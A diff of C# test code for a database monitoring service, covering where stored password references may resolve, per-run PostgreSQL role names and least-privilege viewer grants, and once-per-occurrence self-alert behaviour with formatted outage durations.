+        Assert.Null(refused.Runtime);
+        var refusal = Assert.IsType<InvalidOperationException>(refused.Failure);
+        Assert.Contains("servers['sql01'].encryptedPassword", refusal.Message, StringComparison.Ordinal);
+        Assert.Contains(DarlingOwnedSecrets.ReferenceRefusalText, refusal.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(OwnedVariableValue, refusal.Message, StringComparison.Ordinal);
+
+        var unresolvable = await ServerConnectProbe.AttemptAsync(
+            Server("env:" + UnsetVariable), (target, token) => DarlingServerConnector.ConnectAsync(target, null, token), gate, ct);
+        Assert.Null(unresolvable.Runtime);
+        var failure = Assert.IsType<InvalidOperationException>(unresolvable.Failure);
+        Assert.Contains("servers['sql01'].encryptedPassword", failure.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(DarlingOwnedSecrets.ReferenceRefusalText, failure.Message, StringComparison.Ordinal);
+
+        /* The gate was released both times: a third attempt is not blocked behind the first two. */
+        Assert.Equal(1, gate.CurrentCount);
+    }
+
+    /* ═══════════ a reference darling.json declares for the same server keeps resolving (#5240) ═══════════ */
+
+    /// <summary>A darling.json text holding the given server entries; the serializer escapes any path in them.</summary>
+    private static string DarlingJson(params object[] servers) => JsonSerializer.Serialize(new { servers });
+
+    /// <summary>What the service does once darling.json has loaded: every reference the file writes becomes owned, and so
+    /// does the file's own directory. The file sits in the fixture's owned directory, so <c>_otherFile</c> stays unowned.</summary>
+    private void OwnWhatTheFileWrites(DarlingConfig config) =>
+        DarlingOwnedSecrets.Set(DarlingOwnedSecrets.Compute(config, Path.Combine(_root, "own", "darling.json")));
+
+    /// <summary>
+    /// A server darling.json declares keeps resolving its own reference when the file's own entry is what gets resolved (the
+    /// file's list stands in when the store cannot be read). The file declares that same reference, in that same slot, for
+    /// that same server, so it is not refused for being one the file wrote. Both slots, and both shapes of reference. A
+    /// server built by hand with the same text is a different thing: nothing declares it, so it is still refused.
+    /// </summary>
+    [Fact]
+    public void AReferenceTheFileDeclaresForAServer_ResolvesOnTheFilesOwnEntry_InBothSlots()
+    {
+        var config = DarlingConfig.Parse(DarlingJson(new
+        {
+            name = "alpha",
+            host = "alpha.example.test",
+            auth = "sql",
+            username = "monitor",
+            encryptedPassword = "env:" + OwnedVariable,
+            remediationUsername = "remediator",
+            remediationEncryptedPassword = "file:" + _ownedFile,
+        }));
+        OwnWhatTheFileWrites(config);
+        var alpha = Assert.Single(config.Servers);
+
+        Assert.Equal(OwnedVariableValue, DarlingSecrets.ResolvePassword(alpha, out var usedPlaintext));
+        Assert.False(usedPlaintext);
+        Assert.Equal(OwnedFileValue, DarlingSecrets.ResolveRemediationPassword(alpha));
+
+        Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(Server("env:" + OwnedVariable), out _));
+        Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolveRemediationPassword(Server(remediationPassword: "file:" + _ownedFile)));
+    }
+
+    /// <summary>
+    /// The encrypted-password slot, through a real store: a darling.json server whose slot holds a reference is seeded into
+    /// the store and keeps resolving it when it is read back. A store row for a DIFFERENT server id that names the same
+    /// reference is refused, and so is the file server's own row once its slot holds another owned reference (one the file
+    /// declares for a different server). The second file server, untouched, still resolves in the same read.
+    /// </summary>
+    [Fact]
+    public Task TheEncryptedSlot_KeepsTheReferenceTheFileDeclaresForThatServerId_AndRefusesEveryOtherOwnedReference() =>
+        RunStoreRowScenarioAsync(remediationSlot: false);
+
+    /// <summary>The same three outcomes for the remediation password slot.</summary>
+    [Fact]
+    public Task TheRemediationSlot_KeepsTheReferenceTheFileDeclaresForThatServerId_AndRefusesEveryOtherOwnedReference() =>
+        RunStoreRowScenarioAsync(remediationSlot: true);
+
+    /// <summary>A null element in the file's server list is skipped, as <see cref="DarlingConfig.Parse"/> skips it; the
+    /// entry after it still marks the slot it declares.</summary>
+    [Fact]
+    public void MarkSlotsTheFileDeclares_SkipsANullServerElement_AndStillMarksTheDeclaredSlot()
+    {
+        var config = DarlingConfig.Parse(DarlingJson(
+            new { name = "alpha", host = "alpha.example.test", auth = "sql", username = "monitor", encryptedPassword = "env:" + OwnedVariable }));
+        var declared = Assert.Single(config.Servers);
+        var withNull = new DarlingConfig { Servers = new List<MonitoredServer> { null!, declared } };
+        var row = new MonitoredServer
+        {
+            StoredServerId = declared.ServerId,
+            Host = declared.Host,
+            Port = declared.Port,
+            Auth = declared.Auth,
+            Username = declared.Username,
+            EncryptedPassword = declared.EncryptedPassword,
+        };
+
+        StoreConfigProvider.MarkSlotsTheFileDeclares(row, withNull);
+
+        Assert.True(row.EncryptedPasswordDeclaredByFile);
+    }
+
+    private async Task RunStoreRowScenarioAsync(bool remediationSlot)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var column = remediationSlot ? "remediation_encrypted_password" : "encrypted_password";
+        var setting = remediationSlot ? "remediationEncryptedPassword" : "encryptedPassword";
+
+        /* darling.json: two servers, each declaring its own reference in the slot under test. Both references are owned,
+           because the file writes them. */
+        static object Entry(bool remediation, string name, string reference) => remediation
+            ? new { name, host = name + ".example.test", remediationUsername = "remediator", remediationEncryptedPassword = reference }
+            : new { name, host = name + ".example.test", auth = "sql", username = "monitor", encryptedPassword = reference };
+        var config = DarlingConfig.Parse(DarlingJson(
+            Entry(remediationSlot, "alpha", "env:" + OwnedVariable),
+            Entry(remediationSlot, "beta", "env:" + SecondOwnedVariable)));
+        OwnWhatTheFileWrites(config);
+
+        var (scratchStore, owner, _) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var scratchHolder = scratchStore;
+        await using var ownerHolder = owner;
+        await new StoreConfigProvider(owner).SeedIfEmptyAsync(config, ct);
+
+        string? Resolve(MonitoredServer server) =>
+            remediationSlot ? DarlingSecrets.ResolveRemediationPassword(server) : DarlingSecrets.ResolvePassword(server, out _);
+
+        async Task<IReadOnlyList<MonitoredServer>> ReadStoreAsync()
+        {
+            await using var connection = await owner.OpenConnectionAsync(ct);
+            return await StoreConfigProvider.ReadMonitoredServersAsync(connection, config, ct);
+        }
+
+        /* 1. Seeded from the file, read back from the store row: each server resolves the reference the file declared for it. */
+        var seeded = await ReadStoreAsync();
+        Assert.Equal(OwnedVariableValue, Resolve(seeded.Single(s => s.Name == "alpha")));
+        Assert.Equal(SecondOwnedVariableValue, Resolve(seeded.Single(s => s.Name == "beta")));
+
+        /* 2. A store row for another server id that names alpha's reference: the file declares that text, but not for
+           this id. */
+        await using (var insert = owner.CreateCommand(remediationSlot
+            ? $"INSERT INTO config_monitored_servers (server_id, name, host, remediation_username, remediation_encrypted_password) VALUES (5301001, 'store-only', 'store-only.example.test', 'remediator', 'env:{OwnedVariable}')"
+            : $"INSERT INTO config_monitored_servers (server_id, name, host, auth, username, encrypted_password) VALUES (5301001, 'store-only', 'store-only.example.test', 'sql', 'monitor', 'env:{OwnedVariable}')"))
+        {
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        var withStoreOnly = await ReadStoreAsync();
+        var storeOnly = withStoreOnly.Single(s => s.Name == "store-only");
+        var refusedStoreOnly = Assert.Throws<InvalidOperationException>(() => Resolve(storeOnly));
+        Assert.Contains($"servers['store-only'].{setting}", refusedStoreOnly.Message, StringComparison.Ordinal);
+        Assert.Contains(DarlingOwnedSecrets.ReferenceRefusalText, refusedStoreOnly.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(OwnedVariableValue, refusedStoreOnly.Message, StringComparison.Ordinal);
+        Assert.Equal(OwnedVariableValue, Resolve(withStoreOnly.Single(s => s.Name == "alpha")));
+
+        /* 3. The file server's own row, once its slot holds another owned reference (beta's, which the file declares for
+           beta's id): the same id, a different reference. */
+        await using (var update = owner.CreateCommand(
+            $"UPDATE config_monitored_servers SET {column} = 'env:{SecondOwnedVariable}' WHERE name = 'alpha'"))
+        {
+            Assert.Equal(1, await update.ExecuteNonQueryAsync(ct));
+        }
+
+        var afterChange = await ReadStoreAsync();
+        var refusedAlpha = Assert.Throws<InvalidOperationException>(() => Resolve(afterChange.Single(s => s.Name == "alpha")));
+        Assert.Contains($"servers['alpha'].{setting}", refusedAlpha.Message, StringComparison.Ordinal);
+        Assert.Contains(DarlingOwnedSecrets.ReferenceRefusalText, refusedAlpha.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(SecondOwnedVariableValue, refusedAlpha.Message, StringComparison.Ordinal);
+        Assert.Equal(SecondOwnedVariableValue, Resolve(afterChange.Single(s => s.Name == "beta")));
+    }
+
+    /* ═══════════ a file-declared reference resolves only at the address darling.json declares (#5240) ═══════════ */
+
+    /// <summary>A file server's row that the edit core moved to another host, with the file's own reference text still in
+    /// its slot (and, for the password slot, typed as the new password), is refused where it resolves: the file declares
+    /// that reference for its own address, not for the new one. Password slot.</summary>
+    [Fact]
+    public Task TheEncryptedSlot_ResolvesOnlyAtTheAddressTheFileDeclares() => RunMovedAddressScenarioAsync(remediationSlot: false);
+
+    /// <summary>The same outcomes for the remediation password slot.</summary>
+    [Fact]
+    public Task TheRemediationSlot_ResolvesOnlyAtTheAddressTheFileDeclares() => RunMovedAddressScenarioAsync(remediationSlot: true);
+
+    private async Task RunMovedAddressScenarioAsync(bool remediationSlot)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var setting = remediationSlot ? "remediationEncryptedPassword" : "encryptedPassword";
+
+        static object Entry(bool remediation, string name, string host, string reference) => remediation
+            ? new { name, host, auth = "sql", username = "monitor", remediationUsername = "remediator", remediationEncryptedPassword = reference }
+            : new { name, host, auth = "sql", username = "monitor", encryptedPassword = reference };
+        var references = new[] { "env:" + OwnedVariable, "env:" + SecondOwnedVariable, "file:" + _ownedFile, "env:" + OwnedVariable };
+        var config = DarlingConfig.Parse(DarlingJson(
+            Entry(remediationSlot, "alpha", "alpha.example.test", references[0]),
+            Entry(remediationSlot, "beta", "beta.example.test", references[1]),
+            Entry(remediationSlot, "gamma", "gamma.example.test", references[2]),
+            Entry(remediationSlot, "delta", "  delta.example.test  ", references[3]),
+            Entry(remediationSlot, "epsilon", "epsilon.example.test", references[3])));
+
+        var (scratchStore, owner, _) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var scratchHolder = scratchStore;
+        await using var ownerHolder = owner;
+        await new StoreConfigProvider(owner).SeedIfEmptyAsync(config, ct);
+
+        /* The edit goes through the store's edit function (the real one, from the shared builder). */
+        await using (var function = owner.CreateCommand(
+            DarlingManagedRoles.BuildEditMonitoredServerFunctionSql("config") + DarlingManagedRoles.BuildEditMonitoredServerLegacyWrapperSql("config")))
+        {
+            await function.ExecuteNonQueryAsync(ct);
+        }
+
+        string? Resolve(MonitoredServer server) =>
+            remediationSlot ? DarlingSecrets.ResolveRemediationPassword(server) : DarlingSecrets.ResolvePassword(server, out _);
+
+        async Task<IReadOnlyList<MonitoredServer>> ReadStoreAsync()
+        {
+            await using var connection = await owner.OpenConnectionAsync(ct);
+            return await StoreConfigProvider.ReadMonitoredServersAsync(connection, config, ct);
+        }
+
+        void AssertRefused(MonitoredServer server)
+        {
+            var refused = Assert.Throws<InvalidOperationException>(() => Resolve(server));
+            Assert.Contains($"servers['{server.Name}'].{setting}", refused.Message, StringComparison.Ordinal);
+            Assert.Contains(DarlingOwnedSecrets.ReferenceRefusalText, refused.Message, StringComparison.Ordinal);
+        }
+
+        /* An edit made by a process that holds no owned set (the viewer's own process does not read darling.json) stores
+           the typed text as it is; the service then owns what the file writes. */
+        DarlingOwnedSecrets.Set(DarlingOwnedSet.Empty);
+        var seededRows = await ReadStoreAsync();
+        var alphaId = seededRows.Single(s => s.Name == "alpha").ServerId;
+        if (remediationSlot)
+        {
+            /* The edit core does not move a row that holds a remediation login, so the move is written directly, as the
+               service host's own tools write it. */
+            var answer = await Edit.EditServerCoreAsync(
+                new Edit.PostgresServerEditStore(owner), alphaId, "{\"host\":\"moved.example.test\",\"password\":\"typed-secret-Q7\"}",
+                (_, _) => Task.FromResult(new ConnectionProbeResult(true, 15, 3, "Enterprise", false, false, false, true, null)),
+                TestKeyRings.Healthy, logger: null, ct);
+            Assert.Equal("invalid", System.Text.Json.Nodes.JsonNode.Parse(answer)!["status"]!.GetValue<string>());
+
+            await using var move = owner.CreateCommand("UPDATE config_monitored_servers SET host = 'moved.example.test' WHERE server_id = $1");
+            move.Parameters.Add(new Npgsql.NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Integer, Value = alphaId });
+            Assert.Equal(1, await move.ExecuteNonQueryAsync(ct));
+        }
+        else
+        {
+            /* The web and MCP edit take the password itself, so a reference cannot be typed through them. The row that holds
+               one at a moved host is written directly, as a process that is not the service's would write it. */
+            await using var move = owner.CreateCommand(
+                "UPDATE config_monitored_servers SET host = 'moved.example.test', encrypted_password = $1 WHERE server_id = $2");
+            move.Parameters.Add(new Npgsql.NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = references[0] });
+            move.Parameters.Add(new Npgsql.NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Integer, Value = alphaId });
+            Assert.Equal(1, await move.ExecuteNonQueryAsync(ct));
+        }
+
+        /* A direct write that moves only the port of another file server. */
+        await using (var update = owner.CreateCommand("UPDATE config_monitored_servers SET port = 1434 WHERE name = 'beta'"))
+        {
+            Assert.Equal(1, await update.ExecuteNonQueryAsync(ct));
+        }
+
+        /* The core's rule is exact text, so a host that differs only in letter case is a different address. */
+        await using (var recase = owner.CreateCommand("UPDATE config_monitored_servers SET host = upper(host) WHERE name = 'epsilon'"))
+        {
+            Assert.Equal(1, await recase.ExecuteNonQueryAsync(ct));
+        }
+
+        OwnWhatTheFileWrites(config);
+        var rows = await ReadStoreAsync();
+
+        AssertRefused(rows.Single(s => s.Name == "alpha"));
+        AssertRefused(rows.Single(s => s.Name == "epsilon"));
+        Assert.Equal("moved.example.test", rows.Single(s => s.Name == "alpha").Host);
+        AssertRefused(rows.Single(s => s.Name == "beta"));
+
+        /* The server left where the file declares it still resolves. */
+        Assert.Equal(OwnedFileValue, Resolve(rows.Single(s => s.Name == "gamma")));
+
+        /* A file host spelled with padding, stored as the file spells it, is the same address under the core's exact-text rule. */
+        Assert.Equal(OwnedVariableValue, Resolve(rows.Single(s => s.Name == "delta")));
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingSecuritySplitLiveTests.cs b/Darling/Darling.Tests/DarlingSecuritySplitLiveTests.cs
index a9457c0069..e216fa7554 100644
--- a/Darling/Darling.Tests/DarlingSecuritySplitLiveTests.cs
+++ b/Darling/Darling.Tests/DarlingSecuritySplitLiveTests.cs
@@ -27,17 +27,21 @@ namespace Darling.Tests;
 /// already-COMPRESSED TimescaleDB hypertable survives ALTER TABLE ... SET SCHEMA and stays readable
 /// by the least-privilege role.
 ///
-/// <para>Uses distinct <c>sec_admin_test</c>/<c>sec_viewer_test</c> roles (not the real
+/// <para>Uses distinct <c>sec_admin_</c>/<c>sec_viewer_</c> roles, each with a suffix unique to the run (not the real
 /// admin/viewer) so a shared dev store running an actual service is never clobbered, and grants on
 /// the schemas only (no REVOKE on a named database), so the test does not depend on the store's
 /// database name. Every object it creates is cleaned up.</para>
 /// </summary>
-[Collection("live-postgres")]
+[Collection("pg-cluster-roles")]
 public sealed class DarlingSecuritySplitLiveTests
 {
-    private const string AdminRole = "sec_admin_test";
-    private const string ViewerRole = "sec_viewer_test";
-    private const string McpRole = "sec_mcp_test";
+    /* #4981: a role belongs to the whole cluster, so a constant name made two runs on one cluster share a role: the
+       second CREATE ROLE could fail with a duplicate, and the first run's DROP ROLE removed the role the second was
+       using. One suffix per run (8 lowercase hex characters) keeps each name a valid unquoted identifier. */
+    private static readonly string RunSuffix = Guid.NewGuid().ToString("N")[..8];
+    private static readonly string AdminRole = "sec_admin_" + RunSuffix;
+    private static readonly string ViewerRole = "sec_viewer_" + RunSuffix;
+    private static readonly string McpRole = "sec_mcp_" + RunSuffix;
     private const string RolePassword = "SecSplitTestPw0123456789abcdef01"; // alnum, like the real generator
 
     private static string RequireLivePostgres()
@@ -431,6 +435,41 @@ await LiveStoreCleanup.RunAsync(connectionString, bodySucceeded, async (cleanup,
         }
     }
 
+    /// <summary>#5555: the status bar's store size is the self-metrics row the Viewer reads as its least-privilege role. If that
+    /// role could not SELECT <c>collect.store_metrics</c> the recorded read would always fail and the live walk would run again every
+    /// five minutes. The standard install covers it twice: the blanket <c>GRANT SELECT ON ALL TABLES IN SCHEMA collect</c> (a store
+    /// upgraded from before the table existed picks it up when the service re-provisions the roles, which it does on every start) and the default privileges that
+    /// grant every table created later.</summary>
+    [Fact]
+    public async Task Roles_ViewerCanRunTheRecordedStoreSizeRead_OnCollectStoreMetrics()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var owner = new NpgsqlConnection(connectionString);
+        await owner.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(owner, ct);
+
+        await CreateTestRolesAndGrantsAsync(owner, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var viewer = new NpgsqlConnection(RoleConnectionString(connectionString, ViewerRole));
+            await viewer.OpenAsync(ct);
+            Assert.True(await HasPrivAsync(viewer, "collect.store_metrics", "SELECT", ct));
+            await using var recorded = new NpgsqlCommand(StoreSelfMetrics.LatestStoreSizeSql, viewer);
+            _ = await recorded.ExecuteScalarAsync(ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await DropTestRolesAsync(cleanup, cleanupCt);
+            });
+        }
+    }
+
     [Fact]
     public async Task CompressedHypertable_SetSchema_StaysReadableByLeastPrivilegeRole()
     {
@@ -504,7 +543,7 @@ public async Task RoleMarkerGuard_StampsFreshRole_IdempotentWhenMarked_RaisesOnU
         /* A throwaway role name (NOT admin/viewer) so this exercises the guard MECHANISM with zero
            side effects on the shared store — the DarlingManagedRoles.BuildProvisioningSql string that
            applies this same pattern to admin/viewer is pinned separately by the ungated shape test. */
-        const string role = "darling_marker_probe";
+        var role = "darling_marker_probe_" + Guid.NewGuid().ToString("N")[..8]; // #4981: unique to the run, roles are cluster-wide
         string Guard() => $@"
 DO $$
 BEGIN
@@ -544,6 +583,74 @@ await LiveStoreCleanup.RunAsync(connectionString, bodySucceeded, async (cleanup,
         }
     }
 
+    [Fact]
+    public async Task TheFullyProvisionedManagedViewer_ReadsFalseOnTheViewerReadOnlyProbe_YetCanDismiss()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+
+        await using (var owner = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await owner.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(owner, ct);
+            /* The managed roles carry fixed names and a role is cluster-wide: never adopt or drop a set that
+               belongs to something else on a shared rig. */
+            Assert.SkipWhen(
+                await ScalarAsync<bool>(owner, "SELECT EXISTS (SELECT 1 FROM pg_roles WHERE rolname IN ('admin', 'viewer', 'mcp'))", ct),
+                "A cluster-wide admin/viewer/mcp role already exists on this rig; the managed provisioning batch would adopt it.");
+        }
+
+        var bodySucceeded = false;
+        try
+        {
+            await using (var owner = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await owner.OpenAsync(ct);
+
+                /* The shipped batch, run whole: every grant the managed viewer really holds. The compose target keeps
+                   the database-level revoke and the owner's name out of this scratch database. */
+                var batch = DarlingManagedRoles.BuildProvisioningSql(
+                    ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp,
+                    15, PasswordReassert.All, ProvisioningTarget.ComposeStore(OwnerRoleOf(owner), scratch.DatabaseName));
+                await ExecAsync(owner, batch, ct);
+                await ExecAsync(owner,
+                    "INSERT INTO config_alert_log (alert_time, server_id, server_name, metric_name, current_value, threshold_value) " +
+                    "VALUES ('2026-10-04 10:00:00', -7001, 'srv', 'High CPU', 90, 80)", ct);
+            }
+
+            var viewerString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString)
+            {
+                Username = "viewer",
+                Password = ProvisioningTestSecrets.ViewerPassword,
+                SearchPath = "collect,config,public",
+                Pooling = false,
+            }.ConnectionString;
+            await using var viewer = new NpgsqlConnection(viewerString);
+            await viewer.OpenAsync(ct);
+
+            /* The product's own probe text, as the fully provisioned role. A table-level grant spelled any way
+               (including ON TABLE ...) flips this to true; the text pins would miss that spelling. */
+            Assert.False(await ScalarAsync<bool>(viewer, PerformanceMonitor.Darling.Viewer.ViewerDataService.ReadOnlyProbeSql, ct));
+
+            /* ... while the column grant really lets it dismiss. */
+            await ExecAsync(viewer, "UPDATE config_alert_log SET dismissed = TRUE WHERE server_id = -7001", ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+                await ExecAsync(cleanup,
+                    "DROP OWNED BY admin, viewer, mcp; DROP ROLE IF EXISTS admin; DROP ROLE IF EXISTS viewer; DROP ROLE IF EXISTS mcp", cleanupCt));
+        }
+    }
+
+    private static async Task<T> ScalarAsync<T>(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return (T)(await command.ExecuteScalarAsync(ct))!;
+    }
+
     private static async Task CreateTestRolesAndGrantsAsync(NpgsqlConnection owner, System.Threading.CancellationToken ct)
     {
         /* Mirrors the DarlingManagedRoles grant model with distinct, disposable role names and no
diff --git a/Darling/Darling.Tests/DarlingSelfAlertTests.cs b/Darling/Darling.Tests/DarlingSelfAlertTests.cs
index 3dab4f2855..bb980cfac0 100644
--- a/Darling/Darling.Tests/DarlingSelfAlertTests.cs
+++ b/Darling/Darling.Tests/DarlingSelfAlertTests.cs
@@ -105,10 +105,17 @@ internal sealed class RecordingDeliverer : IAlertDeliverer
     {
         public List<AlertOutcome> Outcomes { get; } = new();
 
-        public Task DeliverAsync(AlertOutcome outcome, CancellationToken cancellationToken = default)
+        /// <summary>#5481 round 2: when set, every outcome is also handed to this deliverer (a live test gives it the
+        /// production <c>DarlingAlertDeliverer</c> over the real history writer), and its report is returned.</summary>
+        public IAlertDeliverer? Inner { get; set; }
+
+        public async Task DeliverAsync(AlertOutcome outcome, CancellationToken cancellationToken = default)
         {
             Outcomes.Add(outcome);
-            return Task.CompletedTask;
+            if (Inner is not null)
+            {
+                await Inner.DeliverAsync(outcome, cancellationToken);
+            }
         }
 
         /* #3580: DeliverAndReportAsync is REQUIRED on the seam rather than defaulted (CONTRIBUTING, Two-Store
@@ -116,6 +123,12 @@ public Task DeliverAsync(AlertOutcome outcome, CancellationToken cancellationTok
            two daily documents treat as delivered, exactly as every fire before #3580 was. */
         public async Task<AlertDelivery?> DeliverAndReportAsync(AlertOutcome outcome, CancellationToken cancellationToken = default)
         {
+            if (Inner is not null)
+            {
+                Outcomes.Add(outcome);
+                return await Inner.DeliverAndReportAsync(outcome, cancellationToken);
+            }
+
             await DeliverAsync(outcome, cancellationToken);
             return null;
         }
@@ -336,7 +349,7 @@ public void IsCollectionStopped_FewFailuresRecentSuccess_NotStopped()
     /* ---------------- collection-stopped edge ---------------- */
 
     [Fact]
-    public async Task CollectionStopped_FiresOnce_ThenCooldownSuppresses_ThenReFires()
+    public async Task CollectionStopped_FiresOnce_AndTheCooldownDoesNotRepeatIt()
     {
         var h = new Harness();
         var e = h.Build();
@@ -354,10 +367,11 @@ public async Task CollectionStopped_FiresOnce_ThenCooldownSuppresses_ThenReFires
         await e.ApplyCollectionStoppedAsync(ServerId, Name, stopped: true, "no recent collection", Ct);
         Assert.Single(h.Deliverer.Outcomes);
 
-        /* After the cooldown the standing condition re-fires. */
+        /* #5489: a state alert. The cooldown passing does not repeat a standing outage (connection_refire_minutes
+           does, and it is off here); this pinned a repeat every cooldown before. */
         h.Now = h.Now.AddMinutes(5);
         await e.ApplyCollectionStoppedAsync(ServerId, Name, stopped: true, "no recent collection", Ct);
-        Assert.Equal(2, h.Deliverer.Outcomes.Count);
+        Assert.Single(h.Deliverer.Outcomes);
     }
 
     [Fact]
@@ -413,6 +427,41 @@ private static async Task<bool> CollectionStoppedPassAsync(
     private static AlertOutcome SingleCollectionStopped(Harness h) =>
         Assert.Single(h.Deliverer.Outcomes, o => o.MetricName == "Collection Stopped");
 
+    [Fact]
+    public async Task CollectionStopped_TextCountsFromTheStoresLastSuccess_NotTheServiceStart()
+    {
+        var h = new Harness();
+        var start = h.Now;
+        var e = h.Build();
+
+        /* Down for 12 days before this service start. The firing rule still waits out the window from the
+           start (#4757), but the sentence says how long the store has gone without a success (#5489): it
+           used to read "30 minutes" here, a clock restarted by the restart. */
+        var lastSuccess = start.AddDays(-12);
+
+        Assert.False(await CollectionStoppedPassAsync(e, lastSuccess));
+        h.Now = start.AddMinutes(30);
+        Assert.True(await CollectionStoppedPassAsync(e, lastSuccess));
+        var fired = SingleCollectionStopped(h);
+        Assert.StartsWith("No successful collection in 12 days", fired.CurrentValue, StringComparison.Ordinal);
+        Assert.DoesNotContain("minutes", fired.CurrentValue, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(1, "1 minute")]
+    [InlineData(47, "47 minutes")]
+    [InlineData(119, "119 minutes")]
+    [InlineData(120, "2 hours")]
+    [InlineData(5 * 60 + 40, "5 hours")]
+    [InlineData(47 * 60, "47 hours")]
+    [InlineData(2 * 24 * 60, "2 days")]
+    [InlineData(12 * 24 * 60 + 3 * 60, "12 days 3 hours")]
+    [InlineData(12 * 24 * 60 + 60, "12 days 1 hour")]
+    public void FormatSilence_ReadsLongGapsInDaysAndHours(int minutes, string expected)
+    {
+        Assert.Equal(expected, DarlingSelfAlertEvaluator.FormatSilence(TimeSpan.FromMinutes(minutes)));
+    }
+
     [Fact]
     public async Task CollectionStopped_ServerDownAcrossARestart_FiresOnceTheWindowPassesAfterTheStart()
     {
@@ -434,9 +483,9 @@ can fire this one. */
         Assert.True(await CollectionStoppedPassAsync(e, lastSuccess));
         var fired = SingleCollectionStopped(h);
         Assert.Equal(AlertSeverityLevel.Critical, fired.Severity);
-        Assert.StartsWith("No successful collection in 30 minutes", fired.CurrentValue, StringComparison.Ordinal);
+        Assert.StartsWith("No successful collection in 3 hours", fired.CurrentValue, StringComparison.Ordinal);
 
-        /* Still down a minute later: the cooldown holds the standing alert to the one fire. */
+        /* Still down a minute later: a state alert (#5493) sends once per occurrence, so the standing alert stays at the one fire. */
         h.Now = start.AddMinutes(31);
         Assert.True(await CollectionStoppedPassAsync(e, lastSuccess));
         SingleCollectionStopped(h);
@@ -533,7 +582,7 @@ is never armed. The staleness arm still fires it one window after the start. */
 
         h.Now = start.AddMinutes(30);
         Assert.True(await CollectionStoppedPassAsync(e, lastSuccess, streak, recentSuccess: 0));
-        Assert.StartsWith("No successful collection in 30 minutes", SingleCollectionStopped(h).CurrentValue, StringComparison.Ordinal);
+        Assert.StartsWith("No successful collection in 3 hours", SingleCollectionStopped(h).CurrentValue, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -573,6 +622,8 @@ public async Task ReconcileServers_ServerEnabledWhileTheServiceRuns_IsWatchedFro
         var worker = (DarlingWorker)System.Runtime.CompilerServices.RuntimeHelpers.GetUninitializedObject(typeof(DarlingWorker));
         typeof(DarlingWorker).GetField("_logger", BindingFlags.NonPublic | BindingFlags.Instance)!
             .SetValue(worker, Microsoft.Extensions.Logging.Abstractions.NullLogger<DarlingWorker>.Instance);
+        typeof(DarlingWorker).GetField("_collectorFaultStacks", BindingFlags.NonPublic | BindingFlags.Instance)!
+            .SetValue(worker, new CollectorFaultStackLog());
         typeof(DarlingWorker).GetField("_selfAlerts", BindingFlags.NonPublic | BindingFlags.Instance)!
             .SetValue(worker, e);
 
@@ -607,7 +658,7 @@ public async Task CaptureDown_FiresOnce_ThenRestoredHistoryRow()
         Assert.Equal("Blocking and Deadlock", fired.CurrentValue);
         Assert.Equal(AlertSeverityLevel.Critical, fired.Severity);
 
-        /* Still down inside the cooldown — no re-fire. */
+        /* Still down a minute later: a state alert (#5493) sends once per occurrence, no re-fire. */
         h.Now = h.Now.AddMinutes(1);
         await e.ApplyCaptureDownAsync(ServerId, Name, new[] { "Blocking", "Deadlock" }, Ct);
         Assert.Single(h.Deliverer.Outcomes);
@@ -633,9 +684,9 @@ public async Task CaptureDown_BlockingAndDeadlockDisabled_DoesNotFire()
     /* ---------------- agent-not-running edge (#1433 Phase 2) ---------------- */
 
     [Fact]
-    public async Task AgentNotRunning_FiresOnce_ThenCooldownSuppresses_ThenReFires()
+    public async Task AgentNotRunning_FiresOnce_ThenQuiet_ThenReFiresOnlyOnTheConnectionRefire()
     {
-        var h = new Harness();
+        var h = new Harness { ConnectionRefireMinutes = 5 };
         var e = h.Build();
 
         await e.ApplyAgentNotRunningAsync(ServerId, Name, agentRunningFresh: false, agentEverSeenRunning: true, Ct);
@@ -646,12 +697,12 @@ public async Task AgentNotRunning_FiresOnce_ThenCooldownSuppresses_ThenReFires()
         Assert.Equal(AlertSeverityLevel.Critical, fired.Severity);
         Assert.Equal(Key, fired.ServerKey);
 
-        /* Still stopped inside the cooldown — the EDGE: no re-fire. */
+        /* Still stopped a minute later — the EDGE: one send per occurrence, no re-fire. */
         h.Now = h.Now.AddMinutes(1);
         await e.ApplyAgentNotRunningAsync(ServerId, Name, agentRunningFresh: false, agentEverSeenRunning: true, Ct);
         Assert.Single(h.Deliverer.Outcomes);
 
-        /* After the cooldown the standing condition re-fires. */
+        /* #5493: a state alert. With connection_refire_minutes at 5 it re-fires once that interval has passed. */
         h.Now = h.Now.AddMinutes(5);
